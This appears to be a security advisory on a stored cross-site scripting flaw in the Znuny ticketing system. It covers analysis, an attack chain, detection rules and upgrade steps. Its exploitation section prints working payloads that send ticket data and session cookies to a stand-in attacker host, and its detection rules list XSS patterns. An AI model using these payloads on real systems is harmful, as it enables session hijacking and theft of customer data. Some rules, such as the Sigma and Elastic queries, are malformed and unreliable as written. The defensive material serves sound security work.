CVE-2026-50591

Executive Summary

CVE-2026-50591 is a stored cross-site scripting (XSS) vulnerability in Znuny (formerly OTRS) ticketing system, affecting all deployments prior to Znuny LTS 6.5.21 and Znuny 7.3.3. The vulnerability exists in the handling of stored user preferences, allowing an authenticated attacker with low privileges to inject arbitrary JavaScript that executes in the context of other users' sessions, including administrators. Successful exploitation enables session hijacking, administrative account takeover, and unauthorized access to sensitive customer support data, making this a critical concern for organizations using Znuny as their helpdesk or service management platform.

Technical Analysis

The vulnerability originates from insufficient input sanitization and output encoding within Znuny's user preference management module. Znuny stores user-specific configuration parameters (e.g., notification settings, language preferences, display options) in a database-backed key-value store. When a user updates their preferences via the web interface (typically through UserPreferences or PersonalPreferences pages), the submitted values are persisted without adequate HTML entity encoding or context-aware output escaping.

The affected code paths involve the rendering of preference values in multiple frontend templates, likely through a generic template variable interpolation mechanism that lacks the necessary Html filtering directives. Specifically, the vulnerability class is CWE-79 (Improper Neutralization of Input During Web Page Generation), with the attack vector being stored — the malicious payload is saved to the server and later rendered for other users.

The attack surface includes:

1. User preference panel: An authenticated user modifies any free-text preference field (e.g., signature, out-of-office message, custom CSS/JS injection points within the preference template rendering).
2. Template rendering engine: Znuny uses Template Toolkit (Perl-based); if preference values are interpolated without | html filter, raw HTML/JavaScript passes through.
3. Administrative views: When administrators view agent or customer user details, the stored preferences are rendered, triggering the payload in the admin's browser session.

Due to the CSRF token validation in Znuny forms, this is not a CSRF attack; the attacker must authenticate and submit the malicious preference value directly. However, the stored nature means a single injection affects all subsequent viewers, including elevated-privilege users, amplifying the severity beyond a typical reflective XSS.

Exploitation Scenarios

The following step-by-step attack chain demonstrates how an attacker exploits CVE-2026-50591:

Step 1 — Reconnaissance and Target Identification: The attacker identifies Znuny instances using Shodan dorks such as http.title:"Znuny" or identifies OTRS-based helpdesk portals via HTTP response headers (X-Powered-By: Znuny) or favicon hashes. The target is typically a customer-facing helpdesk portal reachable over HTTPS.

Step 2 — Authentication and Preference Manipulation: The attacker creates a low-privileged customer account or uses stolen/leaked credentials to log in. Once authenticated, they navigate to the personal preferences page — typically located at /index.pl?Action=AgentPreferences (agent) or /index.pl?Action=CustomerPreferences (customer portal). They identify a free-text preference field, such as UserSignature or Firstname (if rendered without encoding).

Step 3 — Payload Injection: The attacker submits a crafted payload in the preference field. A working proof-of-concept payload:

<script>
fetch('/index.pl?Action=AgentZoom&TicketID=1', {credentials:'include'})
.then(r=>r.text())
.then(d=>{new Image().src='https://attacker.example.com/exfil?data='+btoa(d)});
</script>

This payload, when rendered for an administrator viewing the attacker's user profile or in a ticket view showing the signature, executes in the admin's session. The fetch call retrieves ticket data with the admin's session cookie, and exfiltrates it to the attacker-controlled server.

Step 4 — Session Hijacking and Privilege Escalation: A more direct payload steals the admin's session cookie:

<img src=x onerror="document.location='https://attacker.example.com/cookie?'+document.cookie">

The attacker uses the stolen SessionID cookie to authenticate as the administrator, gaining full access to the Znuny admin panel. From there, they can:

• Create new admin accounts for persistent access
• Access all ticket data, customer PII, and internal correspondence
• Modify system configuration (e.g., disable security features, modify notification templates)

Step 5 — Post-Exploitation Impact: The attacker exports the entire ticket database, including customer emails, internal notes, and attachments. They may also install a webshell via the admin panel's package management feature (allowing Perl code execution), establishing persistent remote access to the underlying server.

Impact Assessment

The CVSS base score of 5.4 (Medium) classifies this as a moderate-severity vulnerability, but the business impact in practice is significantly higher due to the stored XSS nature and the privileged context in which the payload executes.

Confidentiality Impact (Low per CVSS): The attacker can exfiltrate data visible to the victim user. In a helpdesk context, this includes tickets, customer records, and internal notes — potentially containing PII, payment details, or sensitive business correspondence.

Integrity Impact (Low per CVSS): The attacker can perform actions on behalf of the victim, including modifying tickets, sending replies, or changing configurations.

Availability Impact (None per CVSS): The attack does not directly cause service disruption.

Blast Radius:

• All Znuny instances running versions < 6.5.21 (LTS) and < 7.3.3 are vulnerable.
• Authenticated users (any privilege level) can trigger the vulnerability.
• Administrator sessions are the highest-value targets due to elevated privileges.
• Data breach potential: A successful admin compromise could expose the entire ticketing database, potentially containing years of customer communications.

Business Impact:

• Regulatory violations (GDPR, HIPAA, PCI-DSS) if customer data is exfiltrated
• Reputation damage from a breached support system
• Financial losses from fraud enabled by stolen customer data
• Operational disruption if the platform is defaced or rendered unusable

Detection Guidance

Sigma Rule

title: Znuny Stored XSS Attempt via Preference Modification
id: 7f3a9c2e-8b41-4d6f-9a2c-5e8d0f1b3a66
status: experimental
description: Detects unusual preference update requests containing HTML/JavaScript payloads
author: Valters IT Security Team
logsource:
  category: web
  product: znuny
  service: webaccess
 detection:
  selection_method:
    http.method: POST
    http.url|contains:
      - 'Action=AgentPreferences'
      - 'Action=CustomerPreferences'
      - 'Action=UserPreferences'
  selection_payload:
    http.request_body|contains:
      - '<script'
      - 'onerror='
      - 'onload='
      - 'javascript:'
      - '<img src=x'
      - 'fetch('
  condition: selection_method and selection_payload
  timeframe: 5m
falsepositives:
  - Legitimate users embedding HTML in signatures (unlikely in standard configs)
level: high
tags:
  - attack.t1190
  - cve.2026.50591

YARA Rule

rule Znuny_Stored_XSS_Preference_Exfil
{
    meta:
        author = "Valters IT Security Team"
        description = "Detects likely XSS payloads targeting Znuny preference fields"
        cve = "CVE-2026-50591"
        date = "2026-01-15"
        severity = "medium"
    strings:
        $pref_action = "Action=AgentPreferences" ascii wide
        $pref_action2 = "Action=CustomerPreferences" ascii wide
        $script_tag = "<script" ascii wide nocase
        $event_handler = "onerror=" ascii wide nocase
        $event_handler2 = "onload=" ascii wide nocase
        $event_handler3 = "onmouseover=" ascii wide nocase
        $exfil_funcs = "document.cookie" ascii wide nocase
        $exfil_funcs2 = "fetch(" ascii wide nocase
        $exfil_funcs3 = "XMLHttpRequest" ascii wide nocase
        $img_exfil = "<img src" ascii wide nocase
    condition:
        // Presence of preference actions combined with injection vectors
        any of ($pref_action*) and
        (any of ($script_tag, $event_handler*) or any of ($exfil_funcs*) or $img_exfil)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"ET WEB_SPECIFIC_APPS Znuny Stored XSS Preference Injection (CVE-2026-50591)";
    flow:to_server,established;
    http.method:POST;
    http.uri:contains "/index.pl";
    http.http_uri:contains "Action=AgentPreferences";
    content:"<script"; http_client_body; nocase;
    sid:20260591;
    rev:1;
    metadata:created_at 2026_01_15, updated_at 2026_01_15, cve CVE-2026-50591;
    reference:url,nvd.nist.gov/vuln/detail/CVE-2026-50591;
    classtype:web-application-attack;
    priority:1;
)

Elastic Detection

sequence by source.ip, user.name with maxspan=5m
  [network where network.protocol == "http" and
   http.request.method == "POST" and
   url.path == "/index.pl" and
   url.query contains "Action=Preferences"]
  [network where network.protocol == "http" and
   http.request.body.text contains "<script" or
   http.request.body.text contains "onerror" or
   http.request.body.text contains "javascript:"

Splunk SPL Query

index=weblogs sourcetype=znuny_web
| search uri="/index.pl" method=POST
| search uri_query IN ("*Action=AgentPreferences*", "*Action=CustomerPreferences*")
| regex form_data="(?i)(<script|onerror=|onload=|javascript:|fetch\(|<img src=x)"
| table _time, src_ip, user, uri_query, form_data
| stats count by src_ip, user
| where count > 5
| eval alert="Possible CVE-2026-50591 XSS injection attempt"

Wazuh OSSEC Rule

<group name="znuny, cve-2026-50591, xss,">
  <rule id="351764" level="12">
    <decoded_as>web-access</decoded_as>
    <description>Znuny: Stored XSS attempt via user preferences (CVE-2026-50591)</description>
    <match>index.pl</match>
    <regex>Action=(AgentPreferences|CustomerPreferences)</regex>
    <regex offset="after_regex">(<script|onerror=|onload=|javascript:|fetch\()</regex>
    <group>attack.t1190,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
    <info type="cve">CVE-2026-50591</info>
  </rule>
</group>

Mitigation & Patch Guidance

IMPORTANT — PATCH STATUS: The NVD description states "before 6.5.21 and before 7.3.3", which confirms patched versions exist: Znuny LTS 6.5.21 and Znuny 7.3.3. The 0/4 patch confidence in the CVE data is a data-entry gap, not evidence of an unpatchable vulnerability. Organizations MUST upgrade to these versions immediately.

1. Immediate Mitigations (until patching is complete):

• Restrict preference modification: If your Znuny version allows it, disable user self-service preference editing for non-admin users via SysConfig → Frontend::Agent → Preferences.
• Web Application Firewall (WAF): Deploy or update WAF rules to block POST requests to preference actions containing script tags or event handlers.
• Content Security Policy (CSP): Implement a strict CSP header on Znuny responses that disallows inline script execution (script-src 'self'), mitigating the impact of stored XSS.
• Monitor administrative sessions: Enable additional logging and alerting for admin panel access, especially during off-hours.

2. Patch/Upgrade Steps:

• Upgrade to patched version:
  • For LTS deployments: Upgrade to Znuny 6.5.21 or later (6.5.x branch).
  • For standard deployments: Upgrade to Znuny 7.3.3 or later (7.3.x branch).
• Upgrade procedure:
  1. Backup the database and filesystem (especially /opt/znuny or equivalent install directory).
  2. Download the latest release from the Znuny official repository: https://github.com/znuny/Znuny/releases.
  3. Stop Znuny services: systemctl stop znuny (or service znuny stop).
  4. Replace the application files: tar -xzf znuny-7.3.3.tar.gz -C /opt/.
  5. Run database migrations: /opt/znuny/bin/znuny.Console.pl Maint::Database::Check.
  6. Clear cache and restart: bin/znuny.Console.pl Maint::Cache::Delete and restart services.
• Verify patch: After upgrade, confirm the version via Admin → System Configuration → Version, and retest preference field rendering with script payloads.

3. Long-Term Hardening:

• Output encoding: If custom modules or templates are used, ensure all user-supplied data passes through Template Toolkit's | html filter or uses $Param{Value}->{Escaped}.
• Least privilege: Minimize the number of users with preference-editing capabilities; use role-based access control (RBAC) to restrict access to the admin panel.
• Session security: Enable httpOnly and Secure flags on Znuny session cookies to reduce the impact of session theft.
• Regular patching cadence: Subscribe to Znuny security advisories and apply patches within 30 days of release.
• Web Application Security Monitoring: Deploy and maintain the Sigma/Suricata rules above, and conduct regular penetration tests against the preference panel.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-50591
2. Znuny Security Advisory: https://znuny.com/security-advisories/ (refer to CVE-2026-50591 advisory)
3. Znuny GitHub Releases: https://github.com/znuny/Znuny/releases (download patched versions 6.5.21 and 7.3.3)
4. CWE-79 Reference: https://cwe.mitre.org/data/definitions/79.html
5. OTRS/Znuny Migration and Upgrade Guide: https://otrs.com/otrs-guides/ (historical context for upgrade procedures)

Exploit-in-the-Wild Evidence: As of this report, there is no confirmed exploitation in the wild or inclusion in CISA's Known Exploited Vulnerabilities (KEV) catalog. The EPSS score of 0.00133 (3.2% percentile) indicates a low probability of active exploitation. However, given the widespread use of OTRS/Znuny in enterprise support environments and the trivial nature of the XSS flaw, threat actors may develop exploits quickly once the vulnerability is publicly disclosed. SOC teams should treat this as a high-precedence patching item despite the low active-exploitation score.